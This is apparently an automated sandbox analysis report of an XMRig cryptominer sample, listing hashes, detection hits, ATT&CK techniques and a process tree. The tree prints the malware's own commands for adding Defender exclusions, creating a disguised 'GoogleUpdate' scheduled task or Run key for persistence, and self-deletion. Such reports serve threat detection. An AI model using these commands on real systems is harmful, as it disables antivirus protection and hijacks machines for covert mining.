xmrig | 118a83cef7804742f9bc8f11c9deea34b84c35d65edca3036667edbd02dc7df8

max time kernel
1783s
max time network
1784s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
20/08/2023, 00:18

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General

Target

qM5GMXBk6hJE6Y5e (16).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2784 created 1344	2784	qM5GMXBk6hJE6Y5e (16).exe	20
PID 2784 created 1344	2784	qM5GMXBk6hJE6Y5e (16).exe	20
PID 2784 created 1344	2784	qM5GMXBk6hJE6Y5e (16).exe	20
PID 2784 created 1344	2784	qM5GMXBk6hJE6Y5e (16).exe	20
PID 272 created 1344	272	updater.exe	20
PID 272 created 1344	272	updater.exe	20
PID 272 created 1344	272	updater.exe	20
PID 272 created 1344	272	updater.exe	20
PID 1504 created 1344	1504	conhost.exe	20
PID 272 created 1344	272	updater.exe	20

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral7/memory/3004-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-132-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-134-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-136-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-138-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-140-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-142-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-144-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-146-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-148-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-150-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-152-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-154-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-156-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-158-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-160-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-162-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-164-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-166-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-168-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-175-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-177-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-179-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-181-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-183-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-185-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-187-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/3004-189-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
3056	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
272	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
524	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral7/memory/3004-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-132-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-134-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-136-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-138-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-140-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-142-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-144-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-146-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-148-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-150-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-152-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-154-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-156-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-158-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-160-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-162-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-164-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-166-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-168-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-175-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-177-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-179-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-181-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-183-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-185-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-187-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/3004-189-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 272 set thread context of 1504	272	updater.exe	48
PID 272 set thread context of 3004	272	updater.exe	54

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (16).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2732	schtasks.exe
1796	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
300	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 1085e7fc09d3d901	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2784	qM5GMXBk6hJE6Y5e (16).exe
2784	qM5GMXBk6hJE6Y5e (16).exe
2276	powershell.exe
2784	qM5GMXBk6hJE6Y5e (16).exe
2784	qM5GMXBk6hJE6Y5e (16).exe
2852	powershell.exe
2784	qM5GMXBk6hJE6Y5e (16).exe
2784	qM5GMXBk6hJE6Y5e (16).exe
2784	qM5GMXBk6hJE6Y5e (16).exe
2784	qM5GMXBk6hJE6Y5e (16).exe
2988	powershell.exe
272	updater.exe
272	updater.exe
3068	powershell.exe
272	updater.exe
272	updater.exe
2660	powershell.exe
272	updater.exe
272	updater.exe
272	updater.exe
272	updater.exe
1504	conhost.exe
1504	conhost.exe
272	updater.exe
272	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2276	powershell.exe
Token: SeDebugPrivilege	2852	powershell.exe
Token: SeDebugPrivilege	2988	powershell.exe
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeDebugPrivilege	2660	powershell.exe
Token: SeDebugPrivilege	272	updater.exe
Token: SeAssignPrimaryTokenPrivilege	300	WMIC.exe
Token: SeIncreaseQuotaPrivilege	300	WMIC.exe
Token: SeSecurityPrivilege	300	WMIC.exe
Token: SeTakeOwnershipPrivilege	300	WMIC.exe
Token: SeLoadDriverPrivilege	300	WMIC.exe
Token: SeSystemtimePrivilege	300	WMIC.exe
Token: SeBackupPrivilege	300	WMIC.exe
Token: SeRestorePrivilege	300	WMIC.exe
Token: SeShutdownPrivilege	300	WMIC.exe
Token: SeSystemEnvironmentPrivilege	300	WMIC.exe
Token: SeUndockPrivilege	300	WMIC.exe
Token: SeManageVolumePrivilege	300	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	300	WMIC.exe
Token: SeIncreaseQuotaPrivilege	300	WMIC.exe
Token: SeSecurityPrivilege	300	WMIC.exe
Token: SeTakeOwnershipPrivilege	300	WMIC.exe
Token: SeLoadDriverPrivilege	300	WMIC.exe
Token: SeSystemtimePrivilege	300	WMIC.exe
Token: SeBackupPrivilege	300	WMIC.exe
Token: SeRestorePrivilege	300	WMIC.exe
Token: SeShutdownPrivilege	300	WMIC.exe
Token: SeSystemEnvironmentPrivilege	300	WMIC.exe
Token: SeUndockPrivilege	300	WMIC.exe
Token: SeManageVolumePrivilege	300	WMIC.exe
Token: SeLockMemoryPrivilege	3004	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2852 wrote to memory of 2732	2852	powershell.exe	32
PID 2852 wrote to memory of 2732	2852	powershell.exe	32
PID 2852 wrote to memory of 2732	2852	powershell.exe	32
PID 3056 wrote to memory of 2728	3056	cmd.exe	37
PID 3056 wrote to memory of 2728	3056	cmd.exe	37
PID 3056 wrote to memory of 2728	3056	cmd.exe	37
PID 2988 wrote to memory of 1992	2988	powershell.exe	38
PID 2988 wrote to memory of 1992	2988	powershell.exe	38
PID 2988 wrote to memory of 1992	2988	powershell.exe	38
PID 524 wrote to memory of 272	524	taskeng.exe	40
PID 524 wrote to memory of 272	524	taskeng.exe	40
PID 524 wrote to memory of 272	524	taskeng.exe	40
PID 2660 wrote to memory of 1796	2660	powershell.exe	47
PID 2660 wrote to memory of 1796	2660	powershell.exe	47
PID 2660 wrote to memory of 1796	2660	powershell.exe	47
PID 272 wrote to memory of 1504	272	updater.exe	48
PID 756 wrote to memory of 300	756	cmd.exe	53
PID 756 wrote to memory of 300	756	cmd.exe	53
PID 756 wrote to memory of 300	756	cmd.exe	53
PID 272 wrote to memory of 3004	272	updater.exe	54

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1344
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (16).exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (16).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2852
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2732
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (16).exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:3056
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2988
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2660
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1796
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1504
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:756
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:300
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1608
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3004

C:\Windows\system32\taskeng.exe
taskeng.exe {0BE3B6C7-DDEB-4F14-BF63-716F312CA8E7} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:524
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:272

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
218c136dff300a57e336ceea8efce49a

SHA1
d7db811062754283dc7f73ddfa9e680d65c7a899

SHA256
42c6ecb2cd2b01027273c67567535e72259c3af1bdbe4d7d9922da0f9d4fa234

SHA512
d9f9b9933a16effc7e0b857f10aa6f7bc41daa8fbc036edd037eec0d1ecda45f6818d529da7fd129529ce2e9fadb8edad4bd7d7bdcdca5b11a785e695193197b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
218c136dff300a57e336ceea8efce49a

SHA1
d7db811062754283dc7f73ddfa9e680d65c7a899

SHA256
42c6ecb2cd2b01027273c67567535e72259c3af1bdbe4d7d9922da0f9d4fa234

SHA512
d9f9b9933a16effc7e0b857f10aa6f7bc41daa8fbc036edd037eec0d1ecda45f6818d529da7fd129529ce2e9fadb8edad4bd7d7bdcdca5b11a785e695193197b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QEIZUT413WILTYD44L78.temp

Filesize
7KB

MD5
218c136dff300a57e336ceea8efce49a

SHA1
d7db811062754283dc7f73ddfa9e680d65c7a899

SHA256
42c6ecb2cd2b01027273c67567535e72259c3af1bdbe4d7d9922da0f9d4fa234

SHA512
d9f9b9933a16effc7e0b857f10aa6f7bc41daa8fbc036edd037eec0d1ecda45f6818d529da7fd129529ce2e9fadb8edad4bd7d7bdcdca5b11a785e695193197b

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
memory/272-98-0x000000013FE20000-0x0000000140031000-memory.dmp

Filesize
2.1MB

Download
memory/272-118-0x000000013FE20000-0x0000000140031000-memory.dmp

Filesize
2.1MB

Download
memory/1504-125-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1504-133-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2276-64-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/2276-60-0x0000000002250000-0x0000000002258000-memory.dmp

Filesize
32KB

Download
memory/2276-66-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/2276-65-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

Filesize
9.6MB

Download
memory/2276-62-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/2276-63-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/2276-59-0x000000001B2E0000-0x000000001B5C2000-memory.dmp

Filesize
2.9MB

Download
memory/2276-61-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

Filesize
9.6MB

Download
memory/2276-67-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

Filesize
9.6MB

Download
memory/2660-109-0x00000000009D0000-0x0000000000A50000-memory.dmp

Filesize
512KB

Download
memory/2660-110-0x000007FEF4980000-0x000007FEF531D000-memory.dmp

Filesize
9.6MB

Download
memory/2660-108-0x00000000009D0000-0x0000000000A50000-memory.dmp

Filesize
512KB

Download
memory/2660-107-0x00000000009D0000-0x0000000000A50000-memory.dmp

Filesize
512KB

Download
memory/2660-106-0x000007FEF4980000-0x000007FEF531D000-memory.dmp

Filesize
9.6MB

Download
memory/2660-111-0x00000000009D0000-0x0000000000A50000-memory.dmp

Filesize
512KB

Download
memory/2660-112-0x000007FEF4980000-0x000007FEF531D000-memory.dmp

Filesize
9.6MB

Download
memory/2784-82-0x000000013F140000-0x000000013F351000-memory.dmp

Filesize
2.1MB

Download
memory/2784-54-0x000000013F140000-0x000000013F351000-memory.dmp

Filesize
2.1MB

Download
memory/2852-76-0x0000000002660000-0x00000000026E0000-memory.dmp

Filesize
512KB

Download
memory/2852-75-0x000007FEF4D80000-0x000007FEF571D000-memory.dmp

Filesize
9.6MB

Download
memory/2852-80-0x000007FEF4D80000-0x000007FEF571D000-memory.dmp

Filesize
9.6MB

Download
memory/2852-73-0x000000001B100000-0x000000001B3E2000-memory.dmp

Filesize
2.9MB

Download
memory/2852-77-0x0000000002660000-0x00000000026E0000-memory.dmp

Filesize
512KB

Download
memory/2852-74-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/2852-79-0x0000000002660000-0x00000000026E0000-memory.dmp

Filesize
512KB

Download
memory/2852-78-0x000007FEF4D80000-0x000007FEF571D000-memory.dmp

Filesize
9.6MB

Download
memory/2988-94-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

Filesize
9.6MB

Download
memory/2988-90-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

Filesize
9.6MB

Download
memory/2988-93-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2988-89-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2988-88-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

Filesize
9.6MB

Download
memory/2988-91-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2988-92-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/3004-128-0x0000000000BC0000-0x0000000000BE0000-memory.dmp

Filesize
128KB

Download
memory/3004-142-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/3004-116-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/3004-117-0x0000000000700000-0x0000000000720000-memory.dmp

Filesize
128KB

Download
memory/3004-189-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/3004-187-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/3004-185-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/3004-123-0x0000000000BC0000-0x0000000000BE0000-memory.dmp

Filesize
128KB

Download
memory/3004-122-0x0000000000B80000-0x0000000000BA0000-memory.dmp

Filesize
128KB

Download
memory/3004-124-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/3004-183-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/3004-126-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB
